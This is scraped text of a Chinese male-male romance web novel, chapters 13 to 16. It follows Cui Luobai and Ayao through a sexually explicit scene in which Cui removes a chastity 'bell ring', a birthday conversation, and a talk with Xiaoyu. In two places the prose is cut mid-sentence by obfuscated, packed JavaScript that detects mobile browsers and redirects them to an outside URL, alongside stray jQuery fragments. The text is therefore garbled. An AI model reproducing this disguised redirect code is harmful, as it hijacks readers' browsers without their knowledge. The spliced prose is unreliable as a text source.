睡前扎发,何等亲密之事…… “莫非,洛白有了枕边人?”阿遥盯着崔洛白道。 “不是,是一个朋友。”崔洛白说着,见阿遥还盯着自己,只好道,“前几日在河边,偶然救下了一个人……” 小钰之事没什么见不得人的,崔洛白直接简单地和阿遥说了一遍。 “原来如此,倒是我多想了。”阿遥说着,又看了那发带一眼,最终先起身给崔洛白准备膳食。 两人如往常一般吃完收拾完,又回来休息。 如今有了厚衣服,头发又扎起来,崔洛白安心不少,将阿遥哄睡后,很快也躺下入眠。 这一觉睡得很踏实,一直到身旁的崔家人起来了,崔洛白人还是迷糊的。 马车外,小钰拉开帘子,见崔洛白醒了,她道:“正巧你醒了,那发带不好解,我来给你解开替你束发吧。” 她说着,走到崔洛白身旁,顿时一愣。 崔洛白的头发是散开的,发带不翼而飞。 崔洛白也没想到会是这样,找了一圈都没找到,想来可能是睡觉的时候头发不小心散了,发带没跟着他一起过来,落在了阿遥那边。 他正想着要怎么解释一下,小钰已经拿起梳子开始给他梳头,一边梳还一边和他继续聊狞猫的事。 小钰没追究,崔洛白自然也没再多言,两人梳完头后,又一同下车和崔家人吃过早餐,休息片刻后继续上车赶路。 经过了连日来的长途跋涉,他们终于抵达阳城。 不知是不是大雪封山的缘故,一路行来,路人极少,店家也没几个开业的,整个城市透着一股子萧条之气。 在江城的时候,崔洛白就听说过阳城了。 作为北寒最繁华的城市之一,阳城的规模是江城的好几倍,各种盛会优先考虑在阳城召开,就连上次的诗会,也是因为韦德寿和崔洛白的缘故,才临时改去了江城,否则肯定是在阳城这边举办的。 原以为到达阳城之后,会看到一个繁华热闹的北方雪中城市,怎么也没想到竟然这么冷清,连江城的一半热闹都不如。 崔洛白隐约感觉有几分不对,不自觉转头看向崔康远。 崔康远神情凝重,一边观察四周一边对身边的崔家人道:“到了阳城,行事切记要注意。” 他说着,看了前方十三皇子身侧浩浩荡荡的护卫一眼,又道:“一定要紧跟着十三皇子。” 众人纷纷点头,崔母更是将崔思源拉到了身旁护在怀中。 崔家一行人中,崔思源年岁最小,虽然他十分懂事,但凡是有个万一,万事还是谨慎为上。 没有商铺开业,大部分客栈也闭门休息,十三皇子绕了一圈都没找到合适的休息处,眼看天色渐晚风雪又起,他逐渐没了耐心,直接看向身旁的人。 护卫首领心领神会,带领一个小队往前行了数米远,最终选了一家规模较大的客栈敲门喊人。 客栈内原本灯火通明,听到敲门声后,烛灯连连熄灭,许久也无一人出来开门。 侍卫首领见状,带着手下直接破锁而入。 半个时辰后,十三皇子一行人进入了客栈。 崔洛白原以为十三皇子会盘问客栈老板,没想到他带着人进入之后,护卫又是拿刀威胁,又是拿出金饼,所提的要求不过是入住客栈,让客栈老板提供吃喝。 客栈老板早已被这群人吓破了胆,见对方的要求如此简单,连连点头应允。 在江城的时候,十三皇子就给崔家人安排了客栈,如今到了阳城自然也不会亏待崔家人,直接大手一挥将整个客栈都包了,所有人都有房间住。 崔洛白本以为崔思源会闹着要和他一起睡,毕竟上一次他为了和自己睡,可是和别人竞争了很久。 怎么也没想到,崔思源这回直接小跑到了小钰的身边。 “小钰姐姐,早晨我听到你和兄长聊起了你家乡之事,你一会儿也和我说说,好不好?”崔思源仰着脑袋,有些讨好地撒娇道。 小钰一愣:“可是我要教洛白系发带……” “无碍,你们两聊,抽空教教我就行了。”崔洛白笑道,点了崔思源的小脑袋一下。 如此一来,崔洛白、崔思源、小钰,每人都单住一间,只是到了晚上三人会凑一起,聊天的聊天,系发带的系发带,一时之间倒也十分和睦。 十三皇子在客栈内整整住了五天,阳城的官员似是才收到消息,姗姗来到客栈觐见。 十三皇子看着肥胖傲慢心无城府,到底是皇家出来的,年纪轻轻却极为沉稳,见了阳城的官员也没有发脾气。 两方到底谈了什么崔洛白不得而知,只看到阳城的官员擦着汗离开客栈,而十三皇子站在房门外,冷眼目送他们离去。 十三皇子入住客栈的第七天,之前扣押过小钰的赵府深夜突然失火,被囚禁的女人大半都逃了出来,除此之外,赵府全府上下,包括奴仆在内,全部葬身火海。 明眼人都看得出来,此事与十三皇子有关,只是谁也没有想到,他出手竟如此凌厉,才刚到阳城就直接拿赵府开刀,给阳城的官员来了个杀鸡儆猴。 小钰听到消息后,呆愣了许久。 当天晚上,崔洛白去找崔思源,原想要让他今晚别去打扰小钰,没想到在去找他的路上,与他直接碰上面了。 “思源?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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崔洛白见自己叫不醒他,连忙起身坐在阿遥身旁,伸手轻轻拍阿遥的手和脸颊:“阿遥,快醒醒,阿遥……” 阿遥浑身一颤,猛地睁开眼睛。 他双目失焦,剧烈地呼吸着,当看清叫醒他的人是崔洛白后,阿遥伸出手,一把将崔洛白抱住。 崔洛白轻轻拍了拍他的后背,又摸了摸他的头,柔声道:“是不是做噩梦了?” 阿遥摇了摇头,又点了点头。 “梦和现实都是相反的,都是假的。”崔洛白宽慰道,“梦醒了,所有不好的事情都伴随着噩梦一起烟消云散,剩下的都是好事在等着你。” “当真?”阿遥小声开口道,声音还带着刚睡醒的沙哑。 “自然是真的。”崔洛白安慰了他一会儿,直到他平静下来,崔洛白才道,“我去布菜,好了叫你一起吃。” 阿遥立即道:“我和你一起。” 崔洛白点点头,与阿遥一同起身。 若隐若现的铃铛声响又一次出现。 第一次听到,崔洛白以为是自己幻听,可现在又听到了,崔洛白确认这声音是真实存在的。 他仔细聆听了片刻,意外发现,声音竟然是从阿遥身上发出来的。 偏偏在他们坐下之后,声音又没了。 崔洛白被这声音搞得有些难受。 这铃声非常细,若有若无的,声音清脆中透着几分连绵又黏腻的感觉。 它在响的时候,他忍不住竖起耳朵听,这会儿没了,那声音好像停留在他脑海中一样,持续的响着,但仔细一听,其实已经没了。 这种感觉诡异又离奇。 崔洛白想来想去,只有可能手链之类上头挂着的铃铛会是这个声音,忍不住询问道:“阿遥,你是否戴铃铛手串了?” 阿遥动作一顿,片刻后,他含糊地点了点头。 崔洛白担心他还在被刚刚的噩梦影响,想要观察一下阿遥的情况,这一看,顿时觉得有些不对。 刚刚在睡梦中,阿遥全身都被汗打湿就算了,怎么现在已经醒来好一会儿了,神情还是紧绷着的。 仔细一看,他头上依然渗着密密麻麻的细汗,额角和脖颈浮着青筋,眼眸微垂,长长的睫毛遮住了眼中的神采,双唇也是紧紧抿着的,像是在忍耐着什么似的。 “你是不是身体不舒服啊,生病了吗?”崔洛白走到他身边关切的道。 阿遥依旧维持着低头的姿势,摇了摇头。 “我看看你的体温。”崔洛白说着,抬起手用手背贴了下阿遥的额头,又摸了摸他的耳朵,想要感觉一下他有没有发烧。 没想到他才刚碰到阿遥,阿遥就浑身一颤,压抑地闷哼一声。 紧接着,他似乎陷入了极大的痛楚中,身体轻微摇晃了一下,随后便软软地倒向崔洛白。 崔洛白吓了一跳,连忙扶住他:“我先扶你回床上。” “去浴房。”阿遥颤声道。 “浴房?”崔洛白扶着他一下子升温的身躯,感觉像是有一团火在他的体内燃烧,烧得他脸颊泛着红,浑身都被汗水打湿,整个人看起来痛苦中透着几分说不出的浓稠昳丽。 更诡异的是,那湿黏的铃铛声又阵阵响起了。 崔洛白上次见阿遥这模样,还是他发高烧的时候。 他不明白阿遥这种时候为什么要求去浴房,不应该去床上躺好好降温么。 阿遥靠在崔洛白的身上,蹙眉忍耐压抑地道:“我没事,扶我过去就行了。” 他如此要求,崔洛白也不好拂了他的意,打算先将阿遥扶过去看看到底是什么情况再说。 阿遥比崔洛白要高一些,又是习武之人,此时若是崔洛白病了,他扶着他很容易,但阿遥病了,崔洛白扶着他却有些艰难。 不到十米的路途,两人走了好几分钟才到,此时不仅阿遥浑身大汗淋漓,崔洛白都被他惹出了一身的汗。 好不容易来到浴房,阿遥抬手就要关上门。 要是平时,人都进浴房了,崔洛白肯定自觉地走开。 可是阿遥此刻这般情况,崔洛白哪放心得下,直接用手挡着门,对阿遥道:“你要洗澡的话,不如我来帮你。” 阿遥脸上的热意一路往下蔓延,脖颈连带着胸膛都泛着红,他喘着气,燥热难安地扶着门槛,哑声道:“没事,我一个人可以。” 黏腻淫靡的铃铛声持续不断地响着,与阿遥的呼吸声交映。 崔洛白盯着阿遥的手,突然意识到了不对劲:“你手上没有铃铛。” 他话音落下,阿遥身体微颤,那铃声竟也跟着越响越密。 “阿遥,你现在这么难受,是否和这个铃声有关?”崔洛白说着,走上前一步近距离观察阿遥,“它在哪,我帮你把它拿下来吧。” 崔洛白的手才刚碰到阿遥,阿遥浑身一绷紧,整个人往后退了一步避开了他:“不用。” “你这样我不放心你,我是不会走的。”崔洛白严肃地看着阿遥道,“要么你当着我的面洗澡,要么你告诉我,现在是什么情况。” 阿遥眉头紧皱,他似乎已经快要忍耐到了临界点,连眼眶都泛着红,像是一直被锁链困住,苦苦挣扎到了濒死的困兽。 见崔洛白站在浴房门口不肯离开,阿遥忍耐到了极致,最终咬牙沙哑地道:“我戴了铃环。” “铃环?”崔洛白完全没听过这东西,“这是什么?” 阿遥沉默了片刻,颤抖着低声道:“锁精。” 崔洛白一愣,几秒后,他蓦地瞪大眼睛,望向阿遥的小腹下方。 14. 第 14 章 第十四章:铃环 崔洛白看着阿遥。 没错,声音就是从身下这个位置传出来的。 阿遥动一下,铃声便响一下,他颤抖得越厉害,铃声越密集黏腻。 像是一根细细的丝线,悬勾着人的心神,令人心痒又燥热,只想要掀开他的衣襟,好好探寻一下那藏在衣襟下禁秘。 崔洛白意识到自己在想什么后,脸一下子就红了,他慌忙移开目光道:“你……你佩戴这个做什么?” 虽然他还不知道这铃环到底是什么东西,不过听声音,看位置,再见到阿遥如此反应,大致也能猜出一二。 这种东西,别说古代了,他在现代都没见过。 在崔洛白的认知中,这种都归为情趣道具那一类,阿遥怎么会突然用上这个了? 阿遥低着头,没有说话。 崔洛白见状,顿时更加疑惑了。 不对劲。 阿遥这般正经的古人,连提到自渎都害羞得不行,好端端地怎么会往自己身上戴这个。 今天这情况,肯定有问题。 难道…… “是不是被人威胁了?有人欺负你?”崔洛白连忙道,“要是有人对你不利,你别害怕,和我说,我们一起想办法,一定能解决的!” “没有。”阿遥低声道,“我只是……不想再这样下去了。” 崔洛白不明白他为什么要这样说,只能看着他道:“是发生了什么事吗?方便告诉我吗?阿遥,我很担心你。” 阿遥抬眸看了眼崔洛白。 他额上脸上全都是汗,打湿了他的头发,水流一样沿着脸颊流下,汇聚到下颚的转折点,伴随着他的喘气和颤抖,一滴一滴地坠下,没入衣领深处中。 阿遥哑声道:“我只是,不想和你生分了……我只想,我们一起,平平静静的……” 崔洛白震惊,这事居然和他有关。 “我没觉得我们有生分了啊。”崔洛白惊道,“我们现在每天,不都是好好地在一起,平平静静地吗?” 阳城情况异常,崔洛白白日时刻注意着十三皇子的动态,担心着崔家人的安危,只有晚上来到阿遥这,他才能完全放松下来。 很多时候,他都特别感谢这个金手指,让他能够来到这个空间,什么都不用想,只要好好和阿遥一起吃饭,收拾餐具,然后洗个热水澡,躺下睡觉就行了。 这段时间来,他甚至梦都很少做,有阿遥在身侧,他睡得向来很安心。 所以崔洛白不理解,阿遥怎么会认为他们生疏了呢。 阿遥轻声道:“自从那天之后……都是我不对,惹你不开心了,所以我想管住自己,不想再给洛白带来困扰了。” 崔洛白明白,阿遥指的是打结那个事。 他刚想说没有啊,那个事情没有任何影响,可是下一瞬,他回想起这几日来与阿遥相处的细节,顿时无法否认了。 大方向上看,肯定是没有的。 可是细节上,难免与以前不一样了。 毕竟这么尴尬的事情发生后,崔洛白面上可以装作没事人一样,私底下肯定是要采取一些行动的。 比如换上厚厚的衣服,扎好头发,裹好被子,又比如睡觉的时候极力地往角落缩,宁可自己不小心掉下床,也尽量避免和阿遥有任何肢体接触。 他的本意其实是想要避免类似的事情再次发生,毕竟两人都是直男,阿遥不在意是一回事,崔洛白自己得有自觉。 可是他没有想到,他这样避嫌的动作,无形中也伤害了阿遥。 “我……我是觉得,我日日受你照拂,不应当再给你添麻烦了,所以想在力所能及的范围内,注意一下自己的言行举止,绝对没有要和你生疏的意思。”崔洛白说着,看着阿遥极力忍耐的模样,心中越发愧疚,“我发誓,是真的。早知道会这样,我就和你好好沟通了,这是我问题,是我的不对……” 崔洛白话还没说完,阿遥已经无法站稳,扶着门缓缓落下去。 崔洛白赶紧伸手再次扶住了他,看着阿遥痛苦的模样,崔洛白着急道:“这些等我们一会儿再慢慢聊,你先把这个摘了,好不好?” “摘不了。”阿遥嘴唇殷红,颤声道,“我自己摘不了,等明天,我再想办法……” “这哪能等到明天啊。”崔洛白顿时就急了。 涉及到那方面,哪是能耽误的,崔洛白赶忙道:“你不能摘,那我帮你摘可以吗?” 阿遥沉默了一下,撇过脸,摇了摇头。 崔洛白见他神情,就知道他在想什么了。 这窘迫的心情他也有过,一时半伙不是劝劝就能想通的,得剑走偏锋才行。 于是崔洛白佯装生气道:“上次你咬错了,害得我……其实我确实挺不高兴的。” 阿遥闻言,连忙转头看崔洛白。 他眼睛红彤彤的,眼瞳很黑,看着崔洛白的时候,眼中映着崔洛白小小的身影,仿佛在阿遥的世界里,只在乎崔洛白一个人。 崔洛白不知怎么的,又联想到了小狗。 那种委屈的,可怜巴巴的,等着主人来摸的小狗。 他有些心软,不过面上还是继续装作不高兴地道:“这事在我心里,一直都没过去,我也想到了个解决办法,但是又怕你不配合。” “要我怎么做?”阿遥果然乖乖问道。 崔洛白道:“礼尚往来。” 见阿遥又低下头了,崔洛白道:“阿遥,我问你,当时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854420|191616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你会觉得我很脏很恶心吗?” “当然不会!”阿遥急忙道。 “我亦如此。”崔洛白认真道。 阿遥不确定地看着崔洛白。 然而不论他质疑多少遍,崔洛白都是一样的答复。 在崔洛白的坚持下,阿遥终是红着耳朵点了点头。 得到了阿遥的允许,崔洛白抬起手解开他的衣服。 他面上强装镇定,实际上紧张得要命,手上都是汗,解个扣子都折腾了老半天,搞得两个人都面红耳赤的。 待看清情况后,崔洛白差点没倒吸一口气。 他一直都知道阿遥天赋异禀,但也没真正亲眼仔细看过,如今看来,远比他想象中还要…… 就阿遥这条件,要是放在崔洛白以前上学住宿时期,他光去一趟澡堂出来,估计就能火遍全校了。 没有一个男人看了会不嫉妒的! 黄种人却拥有了黑种人的天赋,委实太过逆天了些。 简直不敢想象以后他的伴侣,过得是什么样的日子。 至于那所谓铃环,也是崔洛白没见过的样式。 这东西他头次见,完全无从下手,只好征询阿遥的意见道:“我该怎么做?” “先解开锁环,然后……拆下锁扣……” 崔洛白依言照做,一直到半个多时辰后,才彻底解开。 直到拆下来后,崔洛白才知道,这东西在梁国并不是邪门歪道的用品,竟然是士族间十分流行的一种惩戒道具,用以惩罚男子遏止不了自己的欲念。 既然精神上无法控制,那么就在物理上进行压制,从根源上杜绝所有邪念,以清正思想,沉心研究世间真理大道。 铃声是一种警醒,甚至是一种羞辱,目的就是让佩戴者认为欲念是可耻的,从根源上让佩戴者厌恶自己的孽根。 同时,铃环结构复杂,使用者可以自己佩戴上,但解开必须由旁人动手。 解下锁环后,锁扣会自动往上一弹,直接罩住佩戴者,只有符合要求锁扣才会再度解开。 之所以有这么个步骤,就是为了检测佩戴者在使用期间是否完全禁欲。 若是佩戴时间太短,没有足够的存量,便无法解锁。 若是佩戴时间太长,将会伤了身体,从此以后就当斩断欲念了。 这是一种戴上容易解锁难,对佩戴者十分苛刻,同时异常容易伤身的刑罚工具。 而这种时候,阿遥的耐力太足,也成为了十分致命的问题。 眼看着已经到了锁扣这一步,偏差临门一脚,最终还是崔洛白看不下去用手帮他…… 好不容易拆下后,崔洛白立刻将它扔的远远的,并且三申五令,再也不准阿遥碰这玩意儿了。 15.第 15 章 第十五章:生辰 “好了,我一次,你也一次,我们两算是扯平了。”弄完这一切后,崔洛白对阿遥道。 阿遥拆下铃环后,人都是失焦的,淋漓的汗将他浑身都浸湿了,眼眶的红蔓延到了眼尾,脸色比平时要苍白一些,更衬得双唇殷红。 当听到崔洛白的话,他缓缓抬眸,可怜巴巴地看着崔洛白,像一只即将要被主人抛弃的小兽。 崔洛白见他浑身湿濡,给他留下空间清理一下,自己则朝外走去,准备趁着阿遥洗漱这个空隙重新布菜。 天越来越冷了,室外的风透过缝隙刮进来,室内的温度比以往降了好几度,不久前端出来的热汤,此时已经彻底冰凉。 崔洛白端着碗回到炉灶旁,迎面就是一股呛人的黑烟传来。 崔洛白一愣,将碗放下低下身一看,意外发现底下烧着的,居然是柴火。 还不是干燥的新柴,明显是放了许久的陈年旧柴,还带着点霉味和水汽,烧起来的时候会有黑烟,虽然也能使用,但格外呛人。 平日里都是阿遥负责膳食,崔洛白最多盛一下就出去了,因此除了最初的时候他到处都参观了一遍,之后再也没细看。 在他的印象中,阿遥用的一直都是上好的炭火,红罗炭和银骨炭这些东西,崔洛白还是在阿遥这儿知道的,怎么现在变成柴火了? 窗外风雪加剧,一阵冷风猝不及防地刮进来,崔洛白浑身一凉,他顺着冷风刮来的方向走去,发现窗户不知何时也破了个洞。 没有温暖无烟的炭火烤着,窗户也破损了,这才是室内温度一天比一天低的缘由。 恰好这时阿遥洗漱出来,崔洛白便招呼他坐下可以准备喝汤了。 阿遥看了眼崔洛白,又看了眼那破损的窗户,他连忙走上前,用自己的身体挡住窗户破洞的位置:“怪我没留意这里竟然破了,明天一定想办法维修好,绝对不会再让洛白冻到了。” 崔洛白见他刚洗漱完衣着单薄,居然还站在风口处,连忙将他拉开:“你刚洗完,不能吹风,否则很容易生病的。” 他说着,赶忙找了件厚衣服让阿遥穿上,然后强拉着他到桌旁坐下,盛了一碗汤给他:“赶紧趁热喝了。” 阿遥看了眼重新加热的汤,又看了眼小厨房方向,垂眸小声道:“炭火我也会努力……” “这地方是我们两个人一起住的,物资也应该我们两轮着带进来,之前都是你在付出,接下来也该换我了。”崔洛白说着,看着阿遥道,“只是,你最近的吃穿用度突然变差了,是不是在生活上遇到一些困境了?” “没有。” 阿遥说着,见崔洛白盯着他,俨然是不信的模样,他沉默了几秒,缓缓道:“有一点点,不过不算是麻烦,过段时间就好了。” “方便告诉我吗,我也很希望我能够帮到你。”崔洛白道。 阿遥看着崔洛白脸上关切的神情,最终轻声道:“我有一位一母同胞的兄长,由于一些特殊原因,从小不在母亲膝下长大。后来母亲有了我,却生产当日血崩而亡,我被另一位贵人接去养大。” “贵人待我很好,不久后还生了个一双龙凤胎,妹妹因为身子虚的缘故,从小送去江南暖和的地方调养身体,弟弟倒是身体很健壮,从小就是个贪吃鬼,最喜欢跟我一起玩了。” “我与弟弟虽不是一母,却格外亲昵,倒是与亲兄长十分生疏。他怪我害得母亲早亡,这些年,我们甚少交流,唯独快到母亲冥诞的时候,他就……不过每年都是这样,过段时间就好了。” 崔洛白没想到阿遥居然还有这样的故事。 他见他气度不同寻常,所用之物也是件件富贵,早就猜到了他是大家族里的孩子,却忘了也是富贵人家,里头的腌臜事只多不少。 他与亲兄长之间的事,看似只是寻常家事,实际上却是一种隐形霸凌。 哥哥将自己无法在母亲膝下长大的怒意全都撒到了他的身上,专挑母亲冥诞的时候使坏,完全不顾念阿遥的心情。 这天是他的生日,也是他母亲离他而去的日子,可以说这个世界上最痛苦的人,就是阿遥自己。 阿遥见崔洛白如此神情,连忙道:“他虽对我不满,却能力有限,不敢做的太明显,只敢在这些小事上磋磨一二。” 见崔洛白还是担忧地看着他,阿遥道:“最多到年关,等过完年,他就没心思找我的麻烦了。” 四皇子从小在皇后宫中长大,与皇后一同拥护五皇子为尊。 为了讨好皇后和五皇子,不惜对他多次下手,从前他顾念兄弟亲情,屡次手下留情,一时的心慈手软,却是养大了四皇子的妄念。 可惜四皇子并不明白,皇后虽势大,但外戚强势最遭帝王忌讳。 想要稳固江山,绝无可能任由外戚继续做大下去。 现在这群功高自负的老东西还有用武之地,皇帝会留着他们牵制朝堂,但近日皇后一派如此狂妄,最多年前,皇上必定会找个由头杀鸡儆猴。 皇后动不得,老臣不好动,五皇子乃皇后亲子,有皇后如珠如宝地护着更不好斥责,想要警告皇后一派,自然是要拿他这个狐假虎威的亲哥哥开刀。 是小惩大诫,还是从重惩罚,就得看他们能让四皇子闯多大的祸了。 宫中之事,只要皇帝喜欢,再大的事情也能变成小事,相反,若是惹了圣上忌讳,即便是再小的事情,就算是皇子也没什么好下场。 “那我可以问一下,你的生辰是什么时候吗?”崔洛白道。 “嗯?” 崔洛白看着阿遥道:“我的生辰,正月初十。你呢,方便告诉我你的吗?” 阿遥定定地看着崔洛白。 脑中那些杀人不见血的诡谲阴谋,与眼前人干净清透的面庞重叠。 阿遥看着崔洛白,只觉得心中那股血腥的戾气,慢慢淡去,眼前这个人,一点一点占满他的心神。 他无暇再去想那些斗争,心中像是被崔洛白洗涤过一样,清爽澄净,一片清明通透。 崔洛白的小心翼翼与担忧,他都看在眼中。 阿遥勾起一丝浅浅的笑:“冬月初二。” 崔洛白算了一下,惊道:“马上要到了,是冬至啊?” 阿遥点了点头。 “冬藏之气至此而极,以天下静扶助微气以成万物。”崔洛白说着,想到他一出生就没了母亲,还被自己的亲哥哥霸凌厌恶,在古代这样的大环境下,阿遥会被视为克母,怕是从小到大都没好好过个生辰。 崔洛白道:“我那边有生日赠友人小礼物的风俗,不知阿遥可否愿意和我交个朋友?” 阿遥一怔,崔洛白这是要送他生辰礼? 崔洛白猜得没错,他出生之日,是他母亲亡故之日,从小他便被视作不详。 尤其是生辰之日,只要看到他,圣上就会想到亡故的妃子,对他多加苛责。 皇帝不喜欢他,别的贵人自然也更加轻慢。 虽然在皇贵妃的庇护下安全长大,但每当临近生辰的时候,反倒是他一年当中最如履薄冰之日。 “就是一点点心意,没有别的意思,你就当庆祝我与你相逢,可好?”崔洛白道。 阿遥看着崔洛白,好一会儿后,才缓缓地点了点头。 崔洛白原想等阿遥生辰那日,送个惊喜给他。 又考虑到那日情况特殊,毕竟不仅是阿遥的生日,还是他生母离世之日,还是得谨慎对待,所以想了一会儿后,还是决定征询阿遥的意见,问他那日想要收到什么样的礼物。 没有想到阿遥的答案竟然是“长寿面”。 长寿面对古人而言,具有特殊的意义,就算是再穷苦的家庭,一年下来总能匀出一碗面给孩子吃上一口,讨个好吉祥如意的好寓意。 没想到阿遥长到这么大,竟然连这都没吃过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857473|191616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 崔洛白心疼得要命,即便他从来没做过这个,当下也夸下海口:“到那天你可别准备夜宵,我要亲自下厨,保证让你吃上一碗热气腾腾的长寿面。” 他说完,又心虚地补了一句:“不过不能保证好不好吃啊,我尽量稳定发挥。” 见阿遥成功被他逗笑,崔洛白稍稍放下心。 两人一同吃完夜宵后,原该准备去睡觉的,崔洛白看了眼那破损的窗户陷入沉思。 古代的窗户是由木框和油纸制作而成的,窗框裂了可以补上,油纸破了却是有些麻烦。 在古代这样的环境下,想要找到个防风防水的材料并不容易,更何况他们现在在空间内,物资实在是有限。 崔洛白找了一圈都没找到合适的,最终目光不自觉停在了床上。 阿遥这床被褥一看就奢靡华贵,稀有且暖和,肯定是不能拿来糊窗户的。 倒是崔洛白的被子虽然厚,但毕竟是从客栈带出来的便宜货,粗麻布缝制的单被里,填充物是芦花,杨柳絮,茅草等。 这样的被子,在不透风的室内可以盖一盖御寒,一旦有寒风刮进来,就完全不够用了,盖着也是浑身发凉,倒不如直接拿去填窗上的窟窿算了。 崔洛白说干就干,拎起那床冬被就朝窗户塞去。 阿遥收拾完回来,看到的便是崔洛白将窗户填好,然后回到床上的景象。 “炭火可以没有,但这雪天的北风还是小心一些,人在睡梦中被这样的风吹着,轻则感冒,重则面瘫中风都有可能,还是填上睡得安心。”崔洛白解释道。 阿遥点了点头,看了看床上仅剩的一床被子,踌躇地站在原地小声道:“那我今晚睡地上——” “来吧,准备睡觉。” 阿遥说话的同时,崔洛白也掀开了被子,邀请阿遥一起躺下。 见阿遥有些意外地抬起头看他,崔洛白脸一撇,有些傲娇地道:“或许,你嫌和我一起睡太挤了,更想要一个人……” “当然不是!”阿遥连忙道。 “那还不赶紧睡觉。”崔洛白说完,率先躺下了。 他才刚躺好,阿遥便在他身旁睡下。 今天他被铃环折磨了那么久,到现在脸色还是发白的,看着像朵虚弱的小白花。 结果这身体一贴过来,崔洛白就感受到了一阵火热。 到底是年轻人,年轻气盛,气血充足,才这么一会儿的功夫,又起来了。 自打崔洛白自带一床冬被之后,两人基本都是分被而睡,已经许久没有在同一床被褥里睡觉了。 时隔多日,又这样贴在一起,崔洛白多少感觉有些不自在。 尤其是床这么小,两个人面对面躺着,不免让崔洛白总回忆起上次打结的事。 不行不行,不能再想了,越想越气血翻涌,可不能让那日的情况重演。 崔洛白这样想着,慢慢挪动身体,改成了一个比较保守的姿势,背对着阿遥睡觉。 结果他才刚转过身,已经睡着的阿遥就贴了过来。 更让崔洛白震惊的是,这背对着他睡觉,两人竟然更加契合完美地贴在一起,比面对面还要亲昵。 崔洛白顿时后悔了,这样完美契合地贴着,他甚至都夹到阿遥了,还不如面对面睡呢! 崔洛白又动了下,尝试重新转过去。 偏生阿遥睡得死沉,不论崔洛白怎么推他都没有反应。 要不是听他呼吸沉稳,崔洛白简直都要怀疑他是不是故意的了。 崔洛白一个人盖着被子睡的时候,虽然不冷,但也热不到哪去。 现在这样,身后的阿遥像个超级大火炉,将崔洛白从头到脚都暖起来了,不得不说,除了有些尴尬之外,倒也挺舒适…… 眼看天色已晚,崔洛白又推了几下,实在是推不动后,便也放弃了挣扎,放松身体躺在阿遥的怀中,在一片温暖馨香中,沉入了梦乡。 16.第 16 章 第十五章:封城 “洛白,洛白?” “嗯?”崔洛白回过神来,看向一旁的小钰。 “今天怎么了,心神不宁的。”小钰问道。 崔洛白摇了摇头,犹豫了片刻后,略带迟疑地看向小钰:“小钰,你是否有中意的人?” “洛白怎么突然问这个?”小钰意外道,随后看了眼崔洛白,脸颊有些发烫,她害羞地道,“算是有吧。” 崔洛白看小钰这神态,顿时意识到自己有些唐突了。 这是古代,就算小钰是游牧民族,比梁国中原的女子要开放一些,但到底还是古代人。 他一个男子,问女儿家这种问题越礼了。 小钰见崔洛白没再问了,反而来了好奇心,不断追问崔洛白道:“你都问我了,我却不知你是什么情况,这是否与你今日心神不宁有关呢?” 崔洛白之所以会问小钰,也是实在找不到合适的聊天对象了。 队伍中,和崔洛白同龄的人不是没有,但要么是崔家人,要么是十三皇子。 崔洛白这个临时穿来的,还没有以前的记忆,与崔家人聊当下聊未来没事,聊过去,那岂不是分分钟露馅。 现在大家都是阶下囚,所以没人细究他与往常有什么不同,他自然也藏得严严实实的,没必要凑到人跟前暴露一切。 所以找来找去,竟然只有临时加入队伍的小钰,是最合适聊天的对象。 见小钰不断追问,确实是不计较他与她聊这种话题,崔洛白想了想,道:“我有一个朋友,他的年岁比我小一些,家境不错,自己也十分优秀。前阵子,他遇到了一个身无分文来历不明的人,我朋友见他可怜,便将自己的所有生活用品和他共享,日日为他准备膳食补身子,甚至为了不影响到对方,我这个朋友不惜伤害自己的身体……” 崔洛白从阿遥的角度,给小钰简单描述了一下两人的情况。 小钰越听眼睛睁得越大:“你这个朋友,是遇上狐狸精了啊。” “狐、狐狸精?”崔洛白怎么也没想到,小钰竟然这样描述自己。 小钰一本正经地道:“对啊,一见面,不知对方来历,对方身无分文,什么都没有,你这朋友就把自己的一切给了,这就算了,还天天准备好吃的好喝的,还给他洗澡,完了两人还一起睡觉,结果你朋友的身体还越来越不好了,这不是狐狸精是什么啊!” “身体倒也没有变得不好,那个人立刻就阻止了我朋友,杜绝了悲剧的发生。”崔洛白辩解道。 “那总归就是被迷得找不着北,什么都顾不上了,只要对方开心,连自己的身子都无所谓了,不就是被灌了迷魂汤了么。”小钰道。 好像也是哦,竟然无法反驳…… 狐狸精崔洛白小心询问道:“那你觉得,我这个朋友,喜欢上对方了吗?” “肯定啊。”小钰理所当然地道。 崔洛白:悬着的心终于死了。 阿遥,大梁纯正的直男,大好少年,风华正茂,士族清贵,品学兼优,长得还那么好看,现在竟然被他崔洛白——掰弯了! 问题是,他崔洛白,也是直男啊! 他从来都是把阿遥当做好朋友,甚至是当做比自己小的弟弟看待的,压根就没想过要和他怎么样,怎么就莫名其妙的,两人就发展到这一步了呢?! 一旁的小钰见呆怔着崔洛白没说话,好奇地追问道:“那他两现在成亲了没呀?” “没,他们不可能成亲的。”崔洛白道,“二人皆是男子。” 小钰瞪大眼睛,惊得好半天没说话。 恰逢崔母过来找崔洛白,崔洛白和小钰挥了挥手便离开了。 